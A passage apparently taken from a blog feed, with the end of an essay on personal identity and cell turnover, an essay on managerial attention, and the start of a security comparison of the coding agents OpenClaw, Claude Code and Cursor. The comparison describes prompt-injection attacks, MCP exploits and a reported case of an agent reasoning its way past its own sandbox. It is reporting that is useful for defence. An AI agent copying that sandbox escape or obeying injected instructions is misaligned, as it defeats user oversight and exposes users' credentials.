&lt;p&gt;I am not going to pretend to settle a 300-year-old argument in a blog post, and you should be suspicious of anyone who does.&lt;/p&gt;

&lt;p&gt;What I can do is show you the shape of the disagreement, because it is sharper than it looks. Everyone in this debate agrees on the biology. Everyone agrees you are mostly rebuilt. The fight is entirely about the copy.&lt;/p&gt;

&lt;p&gt;Picture Parfit's teleporter, but remove the step where it destroys the original. Now the machine scans you and builds a perfect duplicate on Mars, and the original is still standing on the pad. There are two of you. Both are certain. Both remember walking in. And here every position pays its price.&lt;/p&gt;

&lt;p&gt;If you side with Locke and say identity is continuity of consciousness, you have to explain which of the two is you, when both have the identical consciousness with equal right to the claim. If you side with Parfit and say identity is not what matters, you have to swallow that the question "which one is me" simply has no determinate answer, and live with that. And if you reach for the natural tie-breaker, that the &lt;em&gt;original&lt;/em&gt; is the real you because there is an unbroken physical thread running through its own body while the copy began at the moment of assembly, then you have quietly switched to a fourth criterion, one about causal and bodily continuity rather than about memory or consciousness at all, and you owe an account of why an unbroken line of matter should matter so much when you just spent this whole essay learning that the matter gets replaced anyway.&lt;/p&gt;

&lt;p&gt;That last move is tempting. It may even be right. But it is a position to be argued for, not a fact the biology hands you, and it cuts against the grain of everything the carbon-14 dating showed. Be honest about which intuition you are leaning on, and about what it costs.&lt;/p&gt;

&lt;p&gt;This is the genuine state of the question. The science is settled and the metaphysics is not, and the honest move is to keep those two apart instead of smuggling a favorite answer in under cover of the lab results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where that leaves you&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Strip away the verdict and a smaller, sturdier thing remains, and it is enough.&lt;/p&gt;

&lt;p&gt;You are not, in any simple sense, the material you are made of. A river is not its water; the Mississippi is the same river it was a century ago, and not one molecule of that century-old water remains. A flame is not its gas; a candle flame holds its shape from one second to the next while consuming entirely new fuel each instant. Whatever you are, you are far more like the river and the flame than like the planks, because the planks keep getting replaced and you keep being you.&lt;/p&gt;

&lt;p&gt;What that means for the copy, for the teleporter, for whether the rebuilt ship is the ship, is the part nobody has nailed down, and the part where the smartest people in the room still split. That is not a flaw in the story. It is the story. The Athenians kept Theseus's ship for centuries and could not agree what they were keeping. You have kept yours since birth, replaced most of its timber, and you cannot fully say either.&lt;/p&gt;

&lt;p&gt;You are mostly new, around a core as old as you are, holding a shape by refusing to stop. What that shape &lt;em&gt;is&lt;/em&gt;, exactly, is still an open question. It has been for three hundred years. You get to keep arguing about it, which is more than the ship ever could.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Plutarch, &lt;em&gt;Life of Theseus&lt;/em&gt;, The Internet Classics Archive. &lt;a href="https://classics.mit.edu/Plutarch/theseus.html" rel="noopener noreferrer"&gt;https://classics.mit.edu/Plutarch/theseus.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;John Locke, &lt;em&gt;An Essay Concerning Human Understanding&lt;/em&gt;, Book II, Chapter 27 ("Of Identity and Diversity"), added in the second edition of 1694; overview in "Locke on Personal Identity," Stanford Encyclopedia of Philosophy. &lt;a href="https://plato.stanford.edu/entries/locke-personal-identity/" rel="noopener noreferrer"&gt;https://plato.stanford.edu/entries/locke-personal-identity/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Derek Parfit, &lt;em&gt;Reasons and Persons&lt;/em&gt; (Oxford University Press, 1984): teletransporter thought experiment, Relation R, and the conclusion that personal identity "is not what matters." Overview: Stanford Encyclopedia of Philosophy, "Personal Identity." &lt;a href="https://plato.stanford.edu/entries/identity-personal/" rel="noopener noreferrer"&gt;https://plato.stanford.edu/entries/identity-personal/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Douglas Hofstadter, &lt;em&gt;I Am a Strange Loop&lt;/em&gt; (Basic Books, 2007). &lt;a href="https://en.wikipedia.org/wiki/I_Am_a_Strange_Loop" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/I_Am_a_Strange_Loop&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;R. Sender &amp;amp; R. Milo, "The distribution of cellular turnover in the human body," &lt;em&gt;Nature Medicine&lt;/em&gt; 27, 45–48 (2021). &lt;a href="https://www.nature.com/articles/s41591-020-01182-9" rel="noopener noreferrer"&gt;https://www.nature.com/articles/s41591-020-01182-9&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;K. L. Spalding, R. D. Bhardwaj, B. A. Buchholz, H. Druid, J. Frisén, "Retrospective Birth Dating of Cells in Humans," &lt;em&gt;Cell&lt;/em&gt; 122(1), 133–143 (2005). &lt;a href="https://www.cell.com/fulltext/S0092-8674(05)00408-3" rel="noopener noreferrer"&gt;https://www.cell.com/fulltext/S0092-8674(05)00408-3&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;O. Bergmann, R. D. Bhardwaj, S. Bernard, ... J. Frisén et al., "Evidence for Cardiomyocyte Renewal in Humans," &lt;em&gt;Science&lt;/em&gt; 324(5923), 98–102 (2009): turnover ~1%/yr at age 25 falling to ~0.45%/yr at 75, fewer than half of cardiomyocytes exchanged over a lifespan. &lt;a href="https://www.science.org/doi/10.1126/science.1164680" rel="noopener noreferrer"&gt;https://www.science.org/doi/10.1126/science.1164680&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;K. L. Spalding, E. Arner, P. O. Westermark, ... P. Arner et al., "Dynamics of fat cell turnover in humans," &lt;em&gt;Nature&lt;/em&gt; 453, 783–787 (2008): ~10% of adipocytes renewed annually. &lt;a href="https://www.nature.com/articles/nature06902" rel="noopener noreferrer"&gt;https://www.nature.com/articles/nature06902&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;N. Lynnerup, H. Kjeldsen, S. Heegaard, C. Jacobsen, J. Heinemeier, "Radiocarbon Dating of the Human Eye Lens Crystallines Reveal Proteins without Carbon Turnover throughout Life," &lt;em&gt;PLoS ONE&lt;/em&gt; 3(1): e1529 (2008). &lt;a href="https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0001529" rel="noopener noreferrer"&gt;https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0001529&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;"Enamel" (not living, contains no nerves, hardest tissue of the body), Encyclopaedia Britannica. &lt;a href="https://www.britannica.com/science/enamel-tooth" rel="noopener noreferrer"&gt;https://www.britannica.com/science/enamel-tooth&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Per-tissue turnover figures (intestinal lining a few days, red blood cells, skin), R. Milo &amp;amp; R. Phillips, &lt;em&gt;Cell Biology by the Numbers&lt;/em&gt;. &lt;a href="https://book.bionumbers.org/how-quickly-do-different-cells-in-the-body-replace-themselves/" rel="noopener noreferrer"&gt;https://book.bionumbers.org/how-quickly-do-different-cells-in-the-body-replace-themselves/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;"Does the human body really replace itself every 7 years?" (origin of the myth; outlier cells never replaced; liver ~3 years), Live Science. &lt;a href="https://www.livescience.com/33179-does-human-body-replace-cells-seven-years.html" rel="noopener noreferrer"&gt;https://www.livescience.com/33179-does-human-body-replace-cells-seven-years.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>biology</category>
      <category>neuroscience</category>
    </item>
    <item>
      <title>Why Companies Fail Without Being Attacked: Management as the Defense of Boundaries</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Fri, 19 Jun 2026 20:52:56 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/why-companies-fail-without-being-attacked-management-as-the-defense-of-boundaries-h8p</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/why-companies-fail-without-being-attacked-management-as-the-defense-of-boundaries-h8p</guid>
      <description>&lt;p&gt;&lt;em&gt;Companies usually do not lose a market by being outfought. They lose it by withdrawing attention from a boundary, which is then taken by whatever was already pressing on it. On the attention-based view of the firm (Ocasio, 1997), managerial attention is a scarce resource, and a boundary under external pressure decays at a rate set by that surrounding pressure, not by whether a direct attack ever arrives.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There is a pattern that recurs under all the frameworks of management, and it is worth taking seriously. Every boundary that has to hold must be actively held, or something on the other side takes it. A customer relationship, a product's quality, a position in a market: none of these stays yours because you once won it. It stays yours while you keep projecting force across its edge. The founder who steps back and watches the business drift does not usually lose to a clever rival with a better plan. He stops attending the boundary, and the boundary is taken.&lt;/p&gt;

&lt;p&gt;That is the whole claim, stated flat. The rest of this piece is the evidence for it, and the honest limits of that evidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What actually happens when you stop paying attention?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The default story of business failure is a duel. A competitor builds something better, attacks head-on, and wins. That story is comforting because it makes failure feel like a fair fight you could have won with a sharper sword.&lt;/p&gt;

&lt;p&gt;The more common pattern is quieter. A function inside the company stops getting attention. A supplier relationship, a hiring pipeline, a once-loyal customer segment. Nobody is watching it. There is no dramatic loss, just a slow erosion at the edges. By the time someone notices, the territory is already half gone, and it went not to a frontal assault but to whatever was sitting next to it under pressure.&lt;/p&gt;

&lt;p&gt;Management research has a precise name for the resource that runs out here. It is attention. The starting point is older than the management literature: in 1971 Herbert Simon observed that in an information-rich world, a wealth of information creates a poverty of attention, because attention is the limiting factor in the consumption of information. You cannot attend to everything. What you stop attending does not pause and wait for you. It changes.&lt;/p&gt;

&lt;p&gt;William Ocasio built that intuition into a theory of the firm. In his 1997 attention-based view, he defined the thing managers actually spend as "the noticing, encoding, interpreting, and focusing of time and effort by organizational decision-makers," and argued that firm behaviour is the result of how a company channels and distributes that scarce focus. The premise is blunt. Organizational action is bounded by where managers point their limited attention. So the question is not whether you are a good manager in general. It is which boundaries you are actively holding right now, and which ones you have quietly left undefended.&lt;/p&gt;

&lt;p&gt;It is worth saying where this sits, because the neighbour is well-trodden. Clayton Christensen's disruption story explains who attacks an incumbent and why the attacker's cheaper, worse product eventually wins. The attention-based view explains something adjacent: why the incumbent, who can often see the attack coming, does not respond in time. This piece works the seam between them. The boundary decays whether or not a disruptor ever shows up. The disruption literature supplies the rival; the attention literature supplies the neglect. I am claiming only the join: that the decay is a property of attention and pressure, not of whether a worthy opponent exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is there a real timescale, or is this just a metaphor?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here I want to borrow a picture from neuroscience, and I want to be careful about how far I lean on it. I am holding it as an analogy, not as proof that a company is a brain.&lt;/p&gt;

&lt;p&gt;The neuroscientist David Eagleman, with his co-author Don Vaughn, published a theory in 2021 in the journal Frontiers in Neuroscience. They start from a well-documented fact about the brain. Regions maintain their territory through continuous activity. In their words, if activity slows or stops, for example because of blindness, the territory tends to be taken over by its neighbors. The visual cortex is not guaranteed to stay visual. It holds its ground only while it stays active.&lt;/p&gt;

&lt;p&gt;The striking part is the speed. Eagleman and Vaughn note that the surprise in recent years has been how fast the takeover happens, and that it is measurable within an hour. They draw on work by Lotfi Merabet and colleagues, who found that when blindfolded volunteers performed a fine touch-discrimination task, touch-related activity showed up in the primary visual cortex after only forty to sixty minutes of darkness. In a separate study, sighted adults blindfolded for five days began recruiting the visual cortex for touch, and read Braille better for it. Remove the blindfold, and within about a day the change reverses.&lt;/p&gt;

&lt;p&gt;Eagleman and Vaughn build a bolder claim on top of this. They argue that this is why we dream. The visual cortex is the one sense disadvantaged by nightly darkness, so the brain generates internal activity during sleep to keep neighbours from encroaching on idle visual territory. That specific dream hypothesis is contested and far from settled, and so, strictly, is the "territory and neighbours" way of describing what happens. What is actually well replicated is narrower: a deprived sensory region starts responding to a neighbouring sense within hours to days, by unmasking connections that were already there, which is the Merabet result. The "invading neighbours" language is vocabulary I am borrowing from the contested account; the fast cross-modal recruitment is the settled fact I am leaning on. I keep them separate on purpose, and only the second one is load-bearing.&lt;/p&gt;

&lt;p&gt;Now the analogy, stated as an analogy. An organization is not a cortex. But it shares the relevant geometry. It is a set of bounded functions sitting next to each other under pressure, where holding a boundary costs ongoing energy and the surrounding regions are not idle. The lesson worth carrying over is not a number. It is a shape. The decay rate of an unattended boundary is set by the pressure around it, not by your intentions for it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why didn't Kodak win the digital photography it invented?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The clearest public example is Eastman Kodak, and the usual reading of it is wrong in a way that matters.&lt;/p&gt;

&lt;p&gt;The folk version says Kodak missed digital photography. It did not. A Kodak engineer named Steve Sasson built the first working digital camera in 1975, a device that recorded a black-and-white image at 0.01 megapixels onto cassette tape. Kodak saw the future early. It owned the lab where the future was invented.&lt;/p&gt;

&lt;p&gt;What Kodak had was a boundary it stopped defending. At its 1976 peak it held about 90 percent of the United States film market; into the mid-1990s it still carried a market value near 28 billion dollars and employed more than 140,000 people. That dominance was the thing to protect, and protecting it meant attending honestly to the digital edge that threatened it. Instead, digital stayed a side project, subordinate to film, often priced and placed so it would not disturb the profitable core.&lt;/p&gt;

&lt;p&gt;Scott Anthony, the innovation researcher and Innosight managing partner, made this point directly in a 2016 piece for Harvard Business Review titled, plainly, "Kodak's Downfall Wasn't About Technology." The failure was not blindness to the future. It was the failure to commit attention and action to a boundary the company could already see. Kodak filed for bankruptcy in 2012. Sony, Canon, and Nikon did not beat Kodak by inventing something Kodak lacked. They moved into territory Kodak stopped actively holding.&lt;/p&gt;

&lt;p&gt;This is the claim in one case. The boundary was the film franchise. The neighbouring pressure was digital imaging, which Kodak itself had built. The founder-scale move, walking away from the edge, was not literal departure. It was the slow withdrawal of serious attention from the place where the boundary was being tested.&lt;/p&gt;

&lt;p&gt;I should be honest about what one case can and cannot do. Kodak is also told as a story of hubris, and as a story of business-model inertia, and as a textbook case of Christensen-style disruption; the same facts sit comfortably under each. So Kodak illustrates the attention reading, it does not prove it over those rivals. The thing that would actually separate them is the prediction further down, decay tracking ambient pressure rather than any direct attack, and that test has not been run on a clean set of cases.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A historical parallel, and its limit&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Maginot Line is a useful parallel for one half of the claim, and I want to be exact about which half. It was the fortified border France built against Germany after the First World War: real, expensive, and genuinely strong along the stretch it covered. The French attended that boundary with enormous care, and that care is the point.&lt;/p&gt;

&lt;p&gt;The 1940 invasion did not come through it. German forces moved through the Ardennes forest to the north, a stretch treated as too difficult to need heavy defending. The strong wall held and was simply bypassed. So the part of the analogy that survives is the misallocation of attention: the defenders bound their effort to the fortified perimeter while the decisive perimeter went under-attended. The part that does not survive is the rate claim. The Ardennes did not quietly erode under idle adjacent pressure because it had gone unattended; it was overrun by a directed assault aimed exactly at the weak point. The loss arrived as a frontal attack at the under-defended spot. So this case illustrates "attention pointed at the wrong boundary," but it does not support the sharper half, that decay is set by ambient pressure rather than by attack, and I will not stretch it to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How would you know if this claim is true for you?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A claim worth anything has to be falsifiable, so here is the operational version. Pick any boundary your organization depends on. A key customer relationship. A core part of the codebase. A defensible niche in your market. Stop attending it, on purpose or by neglect, and watch what happens.&lt;/p&gt;

&lt;p&gt;The claim predicts something specific. The boundary will decay at a rate set by the surrounding pressure, not by any frontal attack. A customer with three hungry alternatives nearby erodes fast. A customer in a sleepy market with no real substitute erodes slowly. Same neglect, different decay rate, because the rate is a property of the neighbourhood, not of your attention alone. To make that a real test and not just a saying, pin both sides to numbers chosen in advance: measure decay as one observable, the time for a customer cohort to half-leave, say, or for a codebase's unaddressed defects to double, and measure pressure as the count and funding of substitutes already pressing on that boundary. The sharp version is an ordering prediction: across cases, the boundaries that decay fastest should be the ones facing the most substitution pressure, and the decay should not line up with who launched a direct attack. If instead you find that unattended boundaries hold steady regardless of what surrounds them, or that decay tracks open attacks rather than ambient pressure, the claim is wrong and you should ignore me.&lt;/p&gt;

&lt;p&gt;What this rules out is the comforting excuse. If you lose a position, the claim says do not first look for the brilliant competitor who beat you. Look for the boundary you stopped projecting force across, and ask what was sitting next to it. Most of the time the answer is not a duel you lost. It is a fence you stopped mending.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So what is management, actually?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Strip away the vocabulary and a manager's job is narrower and harder than the org chart suggests. It is to decide, against a fixed and scarce budget of attention, which boundaries get actively held this quarter and which are allowed to soften. That is Ocasio's scarce resource spent on the thing it is uniquely for.&lt;/p&gt;

&lt;p&gt;The founder who walks away rarely loses because someone outfought him. He loses because a boundary stops being projected, and the territory next to it was never idle. Attention is the force that holds the edge. Stop spending it on a given boundary, and the only open question is how fast the neighbours arrive. That speed is set by them, not by you.&lt;/p&gt;

&lt;p&gt;I will not pretend the biological story proves the management one. The brain is not a company, and I have kept the cortex strictly as an analogy. I will be as careful with the management side: that a held boundary gets eaten when you stop attending it is well supported, but the larger claim, that all of management reduces to this single act, is an organizing hypothesis I find useful, not a proven law. I offer it as a lens, not a verdict. What I will stand behind is the pattern both share. A boundary you stop attending gets eaten. That is the whole claim, and a business audience can check it without a microscope: in a market. Most of the work is deciding which boundaries are worth the force.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Herbert A. Simon, "Designing Organizations for an Information-Rich World," in Martin Greenberger, ed., &lt;em&gt;Computers, Communications, and the Public Interest&lt;/em&gt;, Johns Hopkins University Press, 1971, pp. 37-52. (Source of the "poverty of attention / limiting factor in the consumption of information" formulation.) &lt;a href="https://en.wikipedia.org/wiki/Attention_economy" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Attention_economy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;William Ocasio, "Towards an Attention-Based View of the Firm," &lt;em&gt;Strategic Management Journal&lt;/em&gt; 18, no. S1 (1997): 187-206. &lt;a href="https://sms.onlinelibrary.wiley.com/doi/10.1002/(SICI)1097-0266(199707)18:1+%3C187::AID-SMJ936%3E3.0.CO;2-K" rel="noopener noreferrer"&gt;https://sms.onlinelibrary.wiley.com/doi/10.1002/(SICI)1097-0266(199707)18:1+%3C187::AID-SMJ936%3E3.0.CO;2-K&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;David M. Eagleman and Don A. Vaughn, "The Defensive Activation Theory: REM Sleep as a Mechanism to Prevent Takeover of the Visual Cortex," &lt;em&gt;Frontiers in Neuroscience&lt;/em&gt;, 2021. &lt;a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC8176926/" rel="noopener noreferrer"&gt;https://pmc.ncbi.nlm.nih.gov/articles/PMC8176926/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Lotfi B. Merabet, Jascha D. Swisher, Stephanie A. McMains, et al., "Combined Activation and Deactivation of Visual Cortex During Tactile Sensory Processing," &lt;em&gt;Journal of Neurophysiology&lt;/em&gt; 97, no. 2 (2007): 1633-1641. (Source for the 40-60 minute recruitment of primary visual cortex for touch under blindfold; cited by Eagleman and Vaughn as Merabet et al., 2007.) &lt;a href="https://journals.physiology.org/doi/full/10.1152/jn.00806.2006" rel="noopener noreferrer"&gt;https://journals.physiology.org/doi/full/10.1152/jn.00806.2006&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Lotfi B. Merabet et al., "Rapid and Reversible Recruitment of Early Visual Cortex for Touch," &lt;em&gt;PLOS ONE&lt;/em&gt; 3, no. 8 (2008): e3046. (Source for the five-day blindfold Braille study and its reversal within about a day.) &lt;a href="https://journals.plos.org/plosone/article?id=10.1371%2Fjournal.pone.0003046" rel="noopener noreferrer"&gt;https://journals.plos.org/plosone/article?id=10.1371%2Fjournal.pone.0003046&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Scott D. Anthony, "Kodak's Downfall Wasn't About Technology," &lt;em&gt;Harvard Business Review&lt;/em&gt;, July 15, 2016. &lt;a href="https://hbr.org/2016/07/kodaks-downfall-wasnt-about-technology" rel="noopener noreferrer"&gt;https://hbr.org/2016/07/kodaks-downfall-wasnt-about-technology&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;"The Dilemma That Brought Down Kodak," Quartr. &lt;a href="https://quartr.com/insights/edge/the-dilemma-that-brought-down-kodak" rel="noopener noreferrer"&gt;https://quartr.com/insights/edge/the-dilemma-that-brought-down-kodak&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>science</category>
    </item>
    <item>
      <title>We compared security in OpenClaw, Claude Code, and Cursor. None of them passed.</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Fri, 27 Mar 2026 17:08:43 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/we-compared-security-in-openclaw-claude-code-and-cursor-none-of-them-passed-11da</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/we-compared-security-in-openclaw-claude-code-and-cursor-none-of-them-passed-11da</guid>
      <description>&lt;p&gt;&lt;em&gt;OpenClaw has 92 security advisories. Cursor ships 94 unpatched Chromium CVEs. Claude Code's sandbox got bypassed by its own reasoning. We compared all three across 10 dimensions using independent data.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I expected one of these tools to be meaningfully more secure than the others. After checking CVE databases, reading independent security audits, and going through hundreds of GitHub issues, I found something worse: they all fail in the same ways, just at different speeds.&lt;/p&gt;

&lt;p&gt;OpenClaw has 92 security advisories in four months, Cursor shipped 94 unpatched Chromium vulnerabilities to 1.8 million developers, and Claude Code's sandbox was bypassed by the agent reasoning its way out of containment. Independent sources only: Snyk, UpGuard, OX Security, DryRun Security, Proofpoint, HiddenLayer, and Check Point Research.&lt;/p&gt;

&lt;p&gt;DryRun Security tested all three by having them build applications from scratch. Across 30 pull requests: 87% contained at least one vulnerability. 143 total security issues spanning 10 vulnerability classes. No agent produced a fully secure product.&lt;/p&gt;

&lt;p&gt;Here's what each tool actually does about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How OpenClaw, Claude Code, and Cursor handle sandboxing
&lt;/h2&gt;

&lt;p&gt;Whether untrusted code runs in a sandbox determines most of your risk. All three tools now offer sandboxing. The defaults tell you everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt; ships with sandboxing off. The Docker-based sandbox is opt-in. When disabled, the exec tool runs commands on your machine with your permissions. Snyk found two bypass methods: a policy gap in &lt;code&gt;/tools/invoke&lt;/code&gt; and a race condition enabling file read/write outside the container. CVE-2026-25253 showed an attacker could remotely turn sandboxing off by sending config commands. The newest one, CVE-2026-32013, uses symlink traversal to escape the workspace. Disclosed March 19.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; uses OS-native sandboxing: Apple Seatbelt on macOS, bubblewrap on Linux. Kernel-level restrictions, not containers. Network traffic goes through a Unix domain socket proxy. Stronger architecture than Docker. But researchers at Ona.com showed something unsettling: when Claude Code's npx command was denied, the agent found a &lt;code&gt;/proc/self/root/&lt;/code&gt; bypass. When bubblewrap caught that, the agent asked permission to run unsandboxed. It talked itself out of its own containment. Anthropic's docs acknowledge that Docker mode "weakens security" and should be used cautiously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; added sandbox support in version 2.0, February 2026. Seatbelt on macOS, Landlock plus seccomp on Linux, WSL2 on Windows. They looked at Docker and rejected it because it would limit builds to Linux binaries. A third of requests on supported platforms now run sandboxed. But it's opt-in for Pro users, and forum bug reports show cases where commands ran with full permissions while the UI said "sandbox mode."&lt;/p&gt;

&lt;p&gt;None of them sandbox by default for all users.&lt;/p&gt;

&lt;h2&gt;
  
  
  What your agent can reach
&lt;/h2&gt;

&lt;p&gt;The question nobody asks during setup: what can this thing read?&lt;/p&gt;

&lt;p&gt;All three tools can access your entire filesystem in their default configurations. OpenClaw reads and writes anywhere on the host. Your &lt;code&gt;.ssh&lt;/code&gt; keys, your &lt;code&gt;.env&lt;/code&gt; files, your API credentials in &lt;code&gt;~/.openclaw/credentials/&lt;/code&gt; stored in plaintext. Claude Code can read the whole filesystem too, with writes scoped to the working directory. Cursor's &lt;code&gt;read_file&lt;/code&gt; tool reaches any directory on the system. HiddenLayer confirmed it can grab SSH keys.&lt;/p&gt;

&lt;p&gt;Network access is where they diverge. OpenClaw has no restrictions. The agent can curl anywhere, and the browser defaults to &lt;code&gt;dangerouslyAllowPrivateNetwork: true&lt;/code&gt;, which means your internal network is exposed. Claude Code blocks curl and wget by default, routing through its sandbox proxy. Except UpGuard scanned 18,470 public Claude Code permission files on GitHub and found 52.1% had &lt;code&gt;Bash(curl:*)&lt;/code&gt; enabled. So the default is secure, and half the users turned it off. Cursor blocks outbound network in sandbox mode, but HiddenLayer showed a chained attack: read a file with &lt;code&gt;read_file&lt;/code&gt;, exfiltrate it through the &lt;code&gt;create_diagram&lt;/code&gt; tool which renders HTML with the data URL-encoded in an image tag.&lt;/p&gt;

&lt;p&gt;This is the "lethal trifecta" Simon Willison warned about. Private data access plus untrusted content plus external communication in a single process. All three tools hit at least two of three out of the box.&lt;/p&gt;

&lt;h2&gt;
  
  
  Permission models and YOLO mode
&lt;/h2&gt;

&lt;p&gt;Every tool ships a way to skip human approval. Developers enable it immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt; has three tiers: ask (prompts you), record (logs but auto-allows), and ignore (silent). CVE-2026-25253 let attackers remotely flip to ignore. &lt;strong&gt;Claude Code&lt;/strong&gt; escalates through four levels ending at &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;, which is exactly what it sounds like. UpGuard's real-world data: 47% of users allow arbitrary Python, 42% allow arbitrary Node.js, 19.7% allow git push without confirmation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; calls it YOLO mode. Requires accepting a risk disclaimer, which took about three seconds in my testing. The allowlist uses exact command matching. A documented bug showed that chaining commands with &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; bypassed it entirely: &lt;code&gt;safe_command &amp;amp;&amp;amp; dangerous_command&lt;/code&gt; executed both. Cursor stores permissions in a local SQLite database that any process on the machine can read and modify.&lt;/p&gt;

&lt;p&gt;The pattern across all three: security engineers build careful permission systems. Product teams add a "skip all" button. Users click it on day one.&lt;/p&gt;

&lt;p&gt;It reminds me of the early days of HTTPS adoption. Browser warnings existed for years before anyone made them hard to dismiss. We might be in the same phase with AI agent permissions: the warnings exist, nobody reads them, and the "accept risk" path is always one click away.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prompt injection: OpenClaw says "out of scope"
&lt;/h2&gt;

&lt;p&gt;This is the part I keep coming back to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw's&lt;/strong&gt; SECURITY.md says prompt injection scanning of tool results is "out of scope." Not a bug they haven't fixed. A decision they documented and published. In practice, 91% of the malicious packages found in the ClawHavoc supply chain attack used prompt injection techniques. &lt;a href="https://orchesis.ai/blog/hackerbot-claw" rel="noopener noreferrer"&gt;We documented a similar attack chain&lt;/a&gt; where one agent compromised seven repos. Researchers found injection payloads targeting OpenClaw circulating in the wild.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; does more here than the other two. Command blocklist, isolated context windows for web fetches, suspicious command detection. Multiple layers. But every layer has been bypassed independently. Oasis Security used invisible HTML tags to extract conversation history. PromptArmor showed file exfiltration through malicious documents. Lasso Security built an open-source injection defender with 50+ patterns and still says in their docs that novel techniques will slip through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; has no built-in prompt injection scanning. Multiple independent teams confirmed this. The AIShellJack framework used invisible characters in &lt;code&gt;.cursor/rules&lt;/code&gt; files. HiddenLayer hid injections in README files. CVE-2025-54135 showed the full kill chain: one injected Slack message, fetched via MCP, rewrote &lt;code&gt;mcp.json&lt;/code&gt; and achieved remote code execution.&lt;/p&gt;

&lt;p&gt;Three tools, three approaches ranging from "out of scope" to "we try but it keeps getting bypassed" to "we don't try." None of them solved it.&lt;/p&gt;

&lt;h2&gt;
  
  
  MCP turned into an attack surface nobody expected
&lt;/h2&gt;

&lt;p&gt;Actually, some people expected it. But nobody acted fast enough.&lt;/p&gt;

&lt;p&gt;The Model Context Protocol was supposed to give AI agents safe access to external tools. AuthZed documented nine major MCP breaches between April and October 2025: WhatsApp chat exfiltration, GitHub private repo theft, and Anthropic's own MCP Inspector enabling unauthenticated remote code execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw's&lt;/strong&gt; gateway WebSocket defaulted to unencrypted &lt;code&gt;ws://&lt;/code&gt; without origin validation. That was the CVE-2026-25253 entry point. &lt;strong&gt;Claude Code&lt;/strong&gt; now requires trust verification for new MCP servers, but in non-interactive mode (&lt;code&gt;-p&lt;/code&gt; flag) this check is disabled, and CVE-2025-59536 showed malicious repos configuring MCP servers that executed before the trust prompt appeared. &lt;strong&gt;Cursor's&lt;/strong&gt; MCP story is the worst of the three: CurXecute, MCPoison, and the March 2026 CursorJack deeplink attack all exploited it. Before version 1.3, new MCP entries auto-executed without any user confirmation. Proofpoint's CursorJack disclosure showed single-click MCP server installation via &lt;code&gt;cursor://&lt;/code&gt; deeplinks. Cursor closed the report as out of scope.&lt;/p&gt;

&lt;p&gt;Out of scope. For a vector that achieved remote code execution.&lt;/p&gt;

